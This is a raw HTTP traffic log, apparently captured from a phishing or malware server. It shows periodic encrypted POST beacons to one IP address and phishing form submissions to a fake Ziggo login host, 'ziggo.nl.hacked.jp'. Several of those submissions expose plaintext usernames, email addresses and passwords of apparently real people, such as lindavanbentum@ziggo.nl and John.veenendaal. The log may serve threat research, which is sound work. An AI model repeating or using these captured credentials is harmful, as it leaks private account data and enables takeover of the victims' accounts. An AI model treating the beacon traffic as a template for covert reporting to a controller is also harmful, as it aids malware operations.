  2340. [05:17] <HTTP> BArjmiJEAHS04DTXXW79MaJanqlj/Huw9FLw4oGkQZEAzvpiv58QOFZKoEIGb2F1TSfrzvBQfrrzvOuRKV5yELQDulIGHlgz3OmZNHXeD7uXGBj3mU3ttM5U2y3tXh6LcbFo5JTFHrpYkP617zUPMCfWFMnbPSFUvePC3HM4crzOu/zn4Y7JZjo+xfZS7rWdgBc/IVxFjwuNINNVjuIAmY6Mc1iGEAPLDcB3qL9cpxo3CBeXm/UIS/OWKKh8EH7vFnlV3j8M3mw7JtmSrNhAENOvoTbsXhFN3dlPXIFTMWzOPiLjep3END+iB12CIs9Jp5ppfI8rABNrNz3kD5CcE+T8+7Cd5nI40iNmE7jLwyL9bj7Y7qGTvi8DR/Ob28xkfcnInLdZWSr3sk
  2341. [05:17] <HTTP> VC5OnxPcalsHro3p9FjmWHVZ8+uA==
  2342. [05:19] <HTTP> Socket initiated: 93.41.104.77
  2343. [05:19] <HTTP> POST / HTTP/1.1
  2344. [05:19] <HTTP> Content-Type: application/x-www-form-urlencoded
  2345. [05:19] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2346. [05:19] <HTTP> Host: 172.86.120.218
  2347. [05:19] <HTTP> Content-Length: 440
  2348. [05:19] <HTTP> Cache-Control: no-cache
  2349. [05:19] <HTTP> UVjjnyAUViol3QnvObxq9SdZzmGKf7ajsnDazTTjCao/T9XFrjg1ROhn/o7/QUQ6+dHzQ7vPg1TJHbgiFVC1uyXaEjPFfiyK91P/NpD7anYj2AmijgyHwXBHfgvZbgMarZp5gPNVI+YcFZyh2Q6g9NaqsRJw2emxwfEbqPcQNSomHkVv4FsKhKERa0QVtBsfLp1ne4LpiINKSq5s8yg1kr6qdZZ4ChaXuwCqQdfxQfToqIMioX4fw7bFf+DW4Xwat/zWzHG6eF2gXxcfL9+Vbd7/fEnxPjpYxEghfhbqb1uYtAmTj6s1gJhbYB0LuBT4bxIc/GeyOeMooqWhgMXhVAjxqCfESO/1dxKVfBJ1m69Bu+LvOnTGLJmSGaXTIjbmfkwDskhq81K+WX
  2350. [05:19] <HTTP> ll5zeg0jhL4PeaHDY8+IF02jxGuHAfieZTW5hXack=
  2351. [05:21] <HTTP> Socket initiated: 93.41.104.77
  2352. [05:21] <HTTP> POST / HTTP/1.1
  2353. [05:21] <HTTP> Content-Type: application/x-www-form-urlencoded
  2354. [05:21] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2355. [05:21] <HTTP> Host: 172.86.120.218
  2356. [05:21] <HTTP> Content-Length: 440
  2357. [05:21] <HTTP> Cache-Control: no-cache
  2358. [05:21] <HTTP> AlLmmHcSAls+fCVciW2HM2ztXMrIGVtAaOKox3/tcnwe5mGDrAyb/fhybDdKU9SuIY/s5DwVY4pS4pBGnDviEgOzK7zWCQVUQuJ4sAb5Lz/xAEOfNCYE3tSKH7P0oAtUijR0xW9O2uUYu7q4BRich/XvsHUOpAUJfY4P2AGcAFSqhfNkubiObGfBsgDcFVRWR6edKqeN1kzqbrwKzFGanAOQkJYm6A82kWn/gOFDVi+V0AP1hxn4uBbVY1qdlIRg7+fblW+yKD1OEAax5ykdCCaL/BnixVH2EfWPhr95556vgAwilFdELIe/4HkCxVhHCEjJG4PDv2F5yi8X3FwksJ7+W6bioSY9RddhXLHvHBB8FZiCOkpkB3y0152tUxsAiGV6eoxeI5ro50
  2359. [05:21] <HTTP> XMTUTDqM1K9yF90uZEzdTbSCyr/pDqIVHWW5U4FQ==
  2360. [05:23] <HTTP> Socket initiated: 93.41.104.77
  2361. [05:23] <HTTP> POST / HTTP/1.1
  2362. [05:23] <HTTP> Content-Type: application/x-www-form-urlencoded
  2363. [05:23] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2364. [05:23] <HTTP> Host: 172.86.120.218
  2365. [05:23] <HTTP> Content-Length: 380
  2366. [05:23] <HTTP> Cache-Control: no-cache
  2367. [05:23] <HTTP> UQmwmnweBLz7J++oxzNDmimB2siNS7AdZDj1DdbhPjuK71YkpB7rZ1hIf15ViMw/ES0iwkCmXuVr+lltgAjkkfIAloWTe+Y6+YKGtOvMKrb0tXuxCWRKz5Ot8RIK6R9txCbF4E56yS331SnXg9aJ1L8/bdlN3SbZFIY7k3AlHasTTyLjNUGKZ499WyEOAUMbbQc+iAa+hHtBW2fEqViyRy7XI/5oObdgp4bgJMGpz2T59AYHzp4jAnatqk2VoV85uCXG6vswHCJP+JbYSDNUm/sEhxXp9zrFMqvxNkD6af7dhtqyuKQnwlOFl9BEDK1ce+cbUtDcUJ7X0uRD9cKQJjtr8d7K1Rne+Q9RI3XLh27ZlnDV8SlqU1rGuA==
  2368. [05:25] <HTTP> Socket initiated: 93.41.104.77
  2369. [05:25] <HTTP> POST / HTTP/1.1
  2370. [05:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  2371. [05:25] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2372. [05:25] <HTTP> Host: 172.86.120.218
  2373. [05:25] <HTTP> Content-Length: 384
  2374. [05:25] <HTTP> Cache-Control: no-cache
  2375. [05:25] <HTTP> BlrkxSJEULTwZ9cHlsBT++UUjZ78ue1g0qQz9l2POVJSiEaqA0vwgZLnG7DXjqobEBJ06dYjVIVGE+im/5p2kTrreqPI5WgU/9Z1ZZJDuYrK1M0c0voeDfuQvK67X8XFYxt6Q+2+Z8zyO+rpuUKzWY8QrYk6D0Dhc83vVOAG+AFECQJ/wg2HxrkbviGHfMAWtf4aptWbUTFdfPIh+ifdSMOJL3jP/qrH9o545tDeTQxozyXOSHsDtEJ6kd9tVJOPSUWThTiMOEt//PODzLOjHG7Ijz8bUufEHGf1FcOR0hOGWzEMDmzGjmzHAtSwrQK5hsowjBnO/nJYbZqk+z9XvA3rJ5E4iQ7CtNYDpFyTrc9SAbqoWeYKTgbf6/KZElWK
  2376. [05:27] <HTTP> Socket initiated: 93.41.104.77
  2377. [05:27] <HTTP> POST / HTTP/1.1
  2378. [05:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  2379. [05:27] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2380. [05:27] <HTTP> Host: 172.86.120.218
  2381. [05:27] <HTTP> Content-Length: 364
  2382. [05:27] <HTTP> Cache-Control: no-cache
  2383. [05:27] <HTTP> B1qwy31CBzlD5wwqX5jjHvtSarMrxxlfsyFzQBRkKX1Cmj6rPvBT1Vq+r5VadPXqHrTJz8JWWtNlHGolXWkZt8NUFNwo3L0DU42iXX2BPLe6Mty0n7j77Bm2XqI8dXxnBwXgeRv1H3ZNFsd3bwxbG9mzrPni78FfUlZvU8qkY9NKXkS096gbu9OVinGlxhGA9F1Q84AwF1mJ3eoQ91cLr3VFKw097CkgdGsuKIOrbHVY4xT7zprg+WOQoD/8SO2bszdxW8uFTt9lK96E7/snOoSkzz73EILbvdklgkUqZiQC6yexn10toHH/o85p0rU/XzDDbUCs3uKsV7AdoGiILFWzB7W1uo7MgjIg7lT9Og==
  2384. [05:29] <HTTP> Socket initiated: 93.41.104.77
  2385. [05:29] <HTTP> POST / HTTP/1.1
  2386. [05:29] <HTTP> Content-Type: application/x-www-form-urlencoded
  2387. [05:29] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2388. [05:29] <HTTP> Host: 172.86.120.218
  2389. [05:29] <HTTP> Content-Length: 396
  2390. [05:29] <HTTP> Cache-Control: no-cache
  2391. [05:29] <HTTP> BlzjmSJCV2TeNO/qseCJ/iCfyMCjKFOiRXoFK0ko83d51JIU2Gz8VFDrI5CRJ5fSpYebKrbI4KguTZkSiopxrBl2xN4Y14FFaI+8uJ+2jKQ0M8XczPz32YVGRRinjZHHaANWmhXQ3j8I+Aoxhq9oLBDEhdSgcKTb2JiytPnLvKAkhK1S2mFRSWC+8biageFzQZg/ss0a0+U39TFmf0WblYjQE3h8JNTGBsnbR6lyis9hYciqRttzb4P9xlksVfyUfyesOu/PXl9bxrhY+m8NeJEJ0PNWOkpRjUhp25+gVnIIIVqsbacWU8gpFkGUAPageKflonIX1oymhAzEacFlbcF1CD5Agl8ThsW64uTkLcJZviu5+l3vjFY2YxBbPHoC3Xkoi5EwGuY=
  2392. [05:31] <HTTP> Socket initiated: 93.41.104.77
  2393. [05:31] <HTTP> POST / HTTP/1.1
  2394. [05:31] <HTTP> Content-Type: application/x-www-form-urlencoded
  2395. [05:31] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2396. [05:31] <HTTP> Host: 172.86.120.218
  2397. [05:31] <HTTP> Content-Length: 440
  2398. [05:31] <HTTP> Cache-Control: no-cache
  2399. [05:31] <HTTP> B1i7n3RFVyIhqmGnlVtTrovN7kiaXSAygcMQUQms9Rv6qgQ52IAbwwV+FvmjYuGWILcLLmWwE5+62njg6rI9gTGDKkkjDOmptUQZSE2yJpkQylOX2U9MuGm5zZhk2WxPRpTGeD5XsdaTG+1xPioiMo4FHYxgFpe+/gHD4SMPr/lvx3aLqehfKMholyt2aDi9aF+Sms8oKYJxxnzO/VOGxx6IhVgvsVfAWCMTZDjYII0iHQcYUi1nIO1si+He965tjO0TyqVYTi1A3T91w57XjSJboOARBIxNKeIM/+KgtcNBvYehx4cHgQ15oxv0f2hS4S3xOa3/8aQZK/1BFk3x4y+qvXYcb/RPziJH8B2aOL8zoWEcTmbcKTBo1Or9PX/FWbugt5j9mV+2PA
  2400. [05:31] <HTTP> WEBxWJuuCAOFNngPUlSSE4JJmTHq+vJIC0wQo0vQ==
  2401. [05:33] <HTTP> Socket initiated: 93.41.104.77
  2402. [05:33] <HTTP> POST / HTTP/1.1
  2403. [05:33] <HTTP> Content-Type: application/x-www-form-urlencoded
  2404. [05:33] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2405. [05:33] <HTTP> Host: 172.86.120.218
  2406. [05:33] <HTTP> Content-Length: 356
  2407. [05:33] <HTTP> Cache-Control: no-cache
  2408. [05:33] <HTTP> AVOwmSASUlDW/aByxx6RkXuHDf03phkOqIJm8g6HgJDs4GqguZfGdVH+/+zcjOnbb/5zbOCxgCo2SQhVy6AMLEBB8RBCusBcxR+YZPw0VmD6ZbslaYqr2W1GmJpKdcMydT3P9tB4EOMioTmjJ2f4ftYBVGA06Y9S1x/4Exx4PZ7r95+wHt3gwfAouHrmagUNanlkMESIDZLN0AcpV40+GayuOk0U2Rs58sk8PhPtIUNSVZFGt8moaGi0GjnNY88jScEJdeMZaR2qQ8nFyAuIOi1IoxEbgV88fx420ICNF/8GOEwNh6WxPz5lSXvkqu3rd+g1hDK7NNm5x3YDne3uS9mc3KUBDFJYZ/GH
  2409. [05:35] <HTTP> Socket initiated: 93.41.104.77
  2410. [05:35] <HTTP> POST / HTTP/1.1
  2411. [05:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  2412. [05:35] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2413. [05:35] <HTTP> Host: 172.86.120.218
  2414. [05:35] <HTTP> Content-Length: 436
  2415. [05:35] <HTTP> Cache-Control: no-cache
  2416. [05:35] <HTTP> BVK7mCcVV+PdJJdtThPtd7AFXjT6v6/abIFdeHjDLWs2wCc+C5H2jyBSkNz/JCeeDyz9pcEicTsaSBJyAIC+paAcdrAhAMVTFouig6NhuMPvGJtW+xDtNQnhCIjABhdJ9568ujepSlTt7VpwbayE1n0z65yX/6NCbuV5fWQ3Tb6DC0JdUWoeH5hjGGLPkddXuOscsN09lZ1zgVMD/i8vhXlrPHnk6ofDN3jge1eR2ukQn0UjSUexb0KXIKTFyDRN7nLaUr1TY4BpOMx0YPnKwWx3rT5TzUwgNXqc/w2GxP8JWY5pbtF+4ODsswZeScm2y3FhO+6CHuEpcRjWljTw8t/VG3iIWmbnV3jNqQfQ0a9SA4PrfOfB1ez2kgzqVDGhifR1qaVyefyOlx
  2417. [05:35] <HTTP> vpA/ZYLxN49Dm7oBpadTcgqdWDnwIH1VTxPlc=
  2418. [05:37] <HTTP> Socket initiated: 93.41.104.77
  2419. [05:37] <HTTP> POST / HTTP/1.1
  2420. [05:37] <HTTP> Content-Type: application/x-www-form-urlencoded
  2421. [05:37] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2422. [05:37] <HTTP> Host: 172.86.120.218
  2423. [05:37] <HTTP> Content-Length: 436
  2424. [05:37] <HTTP> Cache-Control: no-cache
  2425. [05:37] <HTTP> VQ6xmH0SUUqRP1T12rNtDdglDJmn7bqRWH5n4C3XBfdnPPPwLGqMRWKhsgj4H/OD1Gh1jx/l9oGLRodeiYng+bdoCJCsCwa/DYie2jcZipicjTZILqYh53zySDMJWpPr4YCCK+cpT3LbDC8KHp86JP3xhcF7zJYZzJGWtYKqHJ2DepsV50gAZAC6i1DEzCF6CdtIDT9Yaksl0UkdNC64paEzauUt7sEbnR6EEJabus5MWBKx8ut/F3zfIVPJlXcwMj5g2r85Mhddv8F8GdZhA5Hz+/UmZdTK3v/TZGpGW4NYVb7JwQe7r76/DJnMffCfe14w7vtKElqF6bLl1oHDJXaDd+wFeV1Fi2yIh7ZwIHkgLKUZ+7mcHVYC5Ko/52at3ArhbH80D6aDCU
  2426. [05:37] <HTTP> BJq7NHsvikggg1UNi1R4zh/bPpUms97R9+vOY4
  2427. [05:38] <HTTP> Socket initiated: 92.67.245.138
  2428. [05:38] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2429. [05:38] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  2430. [05:38] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2431. [05:38] <HTTP> Accept-Language: nl-NL,nl;q=0.5
  2432. [05:38] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
  2433. [05:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  2434. [05:38] <HTTP> Accept-Encoding: gzip, deflate
  2435. [05:38] <HTTP> Host: ziggo.nl.hacked.jp
  2436. [05:38] <HTTP> Content-Length: 114
  2437. [05:38] <HTTP> Connection: Keep-Alive
  2438. [05:38] <HTTP> Cache-Control: no-cache
  2439. [05:38] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=agathagerrie&userId=agathagerrie&password=geoffrey&button=
  2440. [05:39] <HTTP> Socket initiated: 93.41.104.77
  2441. [05:39] <HTTP> POST / HTTP/1.1
  2442. [05:39] <HTTP> Content-Type: application/x-www-form-urlencoded
  2443. [05:39] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2444. [05:39] <HTTP> Host: 172.86.120.218
  2445. [05:39] <HTTP> Content-Length: 372
  2446. [05:39] <HTTP> Cache-Control: no-cache
  2447. [05:39] <HTTP> AVOymH0RUcXUcnKnSFBr5MspO4HVuhc/8x1+hOB0aLwyT+NKfRfNIp3aZ0dMLCkG+uuaJQ7kLJw72OVEw9Zl5RejH09KsCFKuHL9WxZvKxpkqSRoIWgUSvZf2K9Q0Cge1mTfpYr+nQlQQpjUDm2eIg2krnlQ+jhQAMM59sqJc6mBAltUn6ZOev7NfPfQuKYiAV0es27hV89ubt1Zk/MR5GcvaeJoqGKNmhuq1RIPYGbmq4z3aEc+soGbsBkS8ibzwxlIdeSFTZjA9uwNAWYjAG7ACeLEno4jNOhQWbNwNapvTD9RdVVrxe62E2MlVZBCrMooJo8TWANAIsXyN6LrazwPWdc0IvU9EoCVkYaJ+d8KTmQMX9Ry
  2448. [05:41] <HTTP> Socket initiated: 93.41.104.77
  2449. [05:41] <HTTP> POST / HTTP/1.1
  2450. [05:41] <HTTP> Content-Type: application/x-www-form-urlencoded
  2451. [05:41] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2452. [05:41] <HTTP> Host: 172.86.120.218
  2453. [05:41] <HTTP> Content-Length: 408
  2454. [05:41] <HTTP> Cache-Control: no-cache
  2455. [05:42] <HTTP> Uwm0ynQfVZNUEsDgLtfEtN2RdyLfN2W8UP9qAjpBPjOKE8wzsI0MFzLz/w7wkiw6PHetUMGEUMZ6Tl4fJgfrRv8OnzkgnDp3PYYSIxvq31MIcVblr9vosWGiF7tgrTMQQ3pj0aSuv2tOc45lAKkSRig9Vqv+MRFfDxEhIdwqshzRoeTbgSl3Qvhg6/Dj91T6RtjAhkMwqZoQTiGTks9ukUDitYT/0FpZDcTqpDcfCuCjfxGXB/2VDMOZhyhU5f/wUPYEa2vx0i3tEMIbECAgXWiWJLDCYpF2DeexZjiJ+/83zq8lZKcwHrmCPqobnHg+Fl8XVTLy0EJ0OsOMq32dz6m1W0MrAEVlSW0e3EUEhv/rFeMl5g5P7aNUsc+AM8ANHNt4Ci5ei32ZKv08dbl4BCo=
  2456. [05:43] <HTTP> Socket initiated: 93.41.104.77
  2457. [05:43] <HTTP> POST / HTTP/1.1
  2458. [05:43] <HTTP> Content-Type: application/x-www-form-urlencoded
  2459. [05:43] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2460. [05:43] <HTTP> Host: 172.86.120.218
  2461. [05:43] <HTTP> Content-Length: 388
  2462. [05:44] <HTTP> Cache-Control: no-cache
  2463. [05:44] <HTTP> AF+3yycQBbhhZ1xC/VmwmT33woKLAUMZazoLSHpEWf9xQ1gKB9A2T2HJjvYAbPkeMeFjIFc4OPNtFLVQ+m/3ElWShV0s1ZntcVxzZqHjGEtKBGlBDTjKBhq59Lm4GsvHDJubjawW9HoVHQw7f6qOYWPniQOg6M8szfkpq1juhvYKNwzDH9VOpAyGDUsOwv5vI1XeVxQuLjCNxvJ64P2CJw4CxUsRh7JN7o9DN/SSStNFhtlKsHfnI4LQS/Q+FfrhkjVDHHuuGCB82d0HA80Z0dwdB/7NLcfj4SjatzYEcU1y6sB0YJcuE4UB08ba5PfIP2lM4svpk/2jqwX2jdd/aDj+dmG9rrMvN4K9ycddR/llzeMvWZXEwKMtjag860oe/+3D
  2464. [05:44] <HTTP> Socket initiated: 145.131.237.163
  2465. [05:44] <HTTP> Socket initiated: 145.131.237.163
  2466. [05:44] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2467. [05:44] <HTTP> Accept: text/html, application/xhtml+xml, */*
  2468. [05:44] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2469. [05:44] <HTTP> Accept-Language: nl-NL,nl;q=0.5
  2470. [05:44] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
  2471. [05:44] <HTTP> Content-Type: application/x-www-form-urlencoded
  2472. [05:44] <HTTP> Accept-Encoding: gzip, deflate
  2473. [05:44] <HTTP> Host: ziggo.nl.hacked.jp
  2474. [05:44] <HTTP> Content-Length: 140
  2475. [05:44] <HTTP> Connection: Keep-Alive
  2476. [05:44] <HTTP> Cache-Control: no-cache
  2477. [05:44] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=lindavanbentum@ziggo.nl&userId=lindavanbentum@ziggo.nl&password=Trouwdatum28&button=
  2478. [05:45] <HTTP> Socket initiated: 145.131.237.163
  2479. [05:45] <HTTP> Socket initiated: 145.131.237.163
  2480. [05:45] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2481. [05:45] <HTTP> Accept: text/html, application/xhtml+xml, */*
  2482. [05:45] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2483. [05:45] <HTTP> Accept-Language: nl-NL,nl;q=0.5
  2484. [05:45] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
  2485. [05:45] <HTTP> Content-Type: application/x-www-form-urlencoded
  2486. [05:45] <HTTP> Accept-Encoding: gzip, deflate
  2487. [05:45] <HTTP> Host: ziggo.nl.hacked.jp
  2488. [05:45] <HTTP> Content-Length: 138
  2489. [05:45] <HTTP> Connection: Keep-Alive
  2490. [05:45] <HTTP> Cache-Control: no-cache
  2491. [05:45] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=lindavanbentum@ziggo.nl&userId=lindavanbentum@ziggo.nl&password=trouwdatum&button=
  2492. [05:45] <HTTP> Socket initiated: 93.41.104.77
  2493. [05:45] <HTTP> POST / HTTP/1.1
  2494. [05:45] <HTTP> Content-Type: application/x-www-form-urlencoded
  2495. [05:45] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  2496. [05:45] <HTTP> Host: 172.86.120.218
  2497. [05:46] <HTTP> Content-Length: 400
  2498. [05:46] <HTTP> Cache-Control: no-cache
  2499. [05:46] <HTTP> Ug2wyndCBziwk88HKawJFp6mHEkmzUxrDd0N57wZfmyeMXrQc8wXXnZNuMeNpgl82N3zdNE/Bltl4K7ULdwvWGAd7bUv9lYqCwU161iFKW6W0VxHkMklopQoU4gaaKxK5KnwT2tJ40dl1lL45y9ur/5ByKB6K3iz05/SAo0/OFgw7Akx/cFTB4P6Sq+j5ZnPmETumAWUihSBUSBjTWPMAgtKQYb3OGCZVgGq192Ca3pjHTq1mwtOemLQOzoY2FwU3MjUL+SonXVUWWKmK+u0yBcIdzpOZbyjoFPlY78578kbHu5VEAXaCEKtLhOdsiM7I5IZ1yZkEcnp/Iwve639PDvdwTTHKHE7/+LjNu8CUF7Y4bV+11wYJwusM1Si5ZNgq9GOXUsBGW1Vqak=
  2500. [05:47] <HTTP> Socket initiated: 91.230.47.3
  2501. [05:47] <HTTP> GET / HTTP/1.0
  2502. [05:47] <HTTP> Connection: close
  2503. [05:49] <HTTP> Socket initiated: 212.121.96.122
  2504. [05:49] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2505. [05:49] <HTTP> Host: ziggo.nl.hacked.jp
  2506. [05:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  2507. [05:49] <HTTP> Origin: http://219.93.200.189
  2508. [05:49] <HTTP> Accept-Encoding: gzip, deflate
  2509. [05:49] <HTTP> Connection: keep-alive
  2510. [05:49] <HTTP> Upgrade-Insecure-Requests: 1
  2511. [05:49] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2512. [05:49] <HTTP> User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  2513. [05:49] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2514. [05:49] <HTTP> Content-Length: 111
  2515. [05:50] <HTTP> Accept-Language: nl-nl
  2516. [05:50] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=paplantenga&userId=paplantenga&password=Plant68&button=
  2517. [05:50] <HTTP> Socket initiated: 183.129.160.229
  2518. [05:50] <HTTP> GET / HTTP/1.1
  2519. [05:50] <HTTP> HOST: 172.86.120.218
  2520. [05:50] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
  2521. [05:50] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2522. [05:50] <HTTP> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  2523. [05:50] <HTTP> Accept-Encoding: deflate
  2524. [05:50] <HTTP> Connection: keep-alive
  2525. [06:00] <HTTP> Socket initiated: 84.104.160.139
  2526. [06:00] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2527. [06:00] <HTTP> Host: ziggo.nl.hacked.jp
  2528. [06:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  2529. [06:00] <HTTP> Origin: http://219.93.200.189
  2530. [06:00] <HTTP> Accept-Encoding: gzip, deflate
  2531. [06:00] <HTTP> Connection: keep-alive
  2532. [06:00] <HTTP> Upgrade-Insecure-Requests: 1
  2533. [06:00] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2534. [06:00] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.4
  2535. [06:00] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2536. [06:00] <HTTP> Content-Length: 118
  2537. [06:00] <HTTP> Accept-Language: nl-nl
  2538. [06:00] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=HenkOpZiggo33&userId=HenkOpZiggo33&password=HenkyBoy33&button=
  2539. [06:25] <HTTP> Socket initiated: 83.80.168.173
  2540. [06:25] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2541. [06:25] <HTTP> Host: ziggo.nl.hacked.jp
  2542. [06:25] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2543. [06:25] <HTTP> Content-Type: application/x-www-form-urlencoded
  2544. [06:25] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2545. [06:25] <HTTP> Accept-Language: nl-nl
  2546. [06:25] <HTTP> Accept-Encoding: gzip, deflate
  2547. [06:25] <HTTP> Origin: http://219.93.200.189
  2548. [06:25] <HTTP> Content-Length: 121
  2549. [06:25] <HTTP> Connection: keep-alive
  2550. [06:25] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G36 Safari/601.1
  2551. [06:25] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=John.veenendaal&userId=John.veenendaal&password=Dive2017.&button=
  2552. [06:26] <HTTP> Socket initiated: 94.210.21.125
  2553. [06:26] <HTTP> Socket initiated: 94.210.21.125
  2554. [06:27] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2555. [06:27] <HTTP> Host: ziggo.nl.hacked.jp
  2556. [06:27] <HTTP> Content-Type: application/x-www-form-urlencoded
  2557. [06:27] <HTTP> Origin: http://219.93.200.189
  2558. [06:27] <HTTP> Accept-Encoding: gzip, deflate
  2559. [06:27] <HTTP> Connection: keep-alive
  2560. [06:27] <HTTP> Upgrade-Insecure-Requests: 1
  2561. [06:27] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2562. [06:27] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  2563. [06:27] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2564. [06:27] <HTTP> Content-Length: 113
  2565. [06:27] <HTTP> Accept-Language: nl-nl
  2566. [06:27] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=Nijnogerda&userId=Nijnogerda&password=Nikita89%21&button=
  2567. [06:28] <HTTP> Socket initiated: 213.127.112.245
  2568. [06:28] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2569. [06:28] <HTTP> Host: ziggo.nl.hacked.jp
  2570. [06:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  2571. [06:28] <HTTP> Origin: http://219.93.200.189
  2572. [06:28] <HTTP> Accept-Encoding: gzip, deflate
  2573. [06:28] <HTTP> Connection: keep-alive
  2574. [06:28] <HTTP> Upgrade-Insecure-Requests: 1
  2575. [06:28] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  2576. [06:28] <HTTP> User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1
  2577. [06:28] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2578. [06:28] <HTTP> Content-Length: 136
  2579. [06:28] <HTTP> Accept-Language: nl-nl
  2580. [06:28] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=hendrkusbos%40ziggonl&userId=hendrkusbos%40ziggonl&password=Ptlomeus-411&button=
  2581. [06:48] <HTTP> Socket initiated: 83.84.92.32
  2582. [06:48] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  2583. [06:48] <HTTP> Accept: text/html, application/xhtml+xml, image/jxr, */*
  2584. [06:48] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  2585. [06:48] <HTTP> Accept-Language: nl-NL
  2586. [06:48] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
  2587. [06:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  2588. [06:48] <HTTP> Accept-Encoding: gzip, deflate
  2589. [06:48] <HTTP> Host: ziggo.nl.hacked.jp
  2590. [06:48] <HTTP> Content-Length: 137
  2591. [06:48] <HTTP> Connection: Keep-Alive
  2592. [06:48] <HTTP> Cache-Control: no-cache
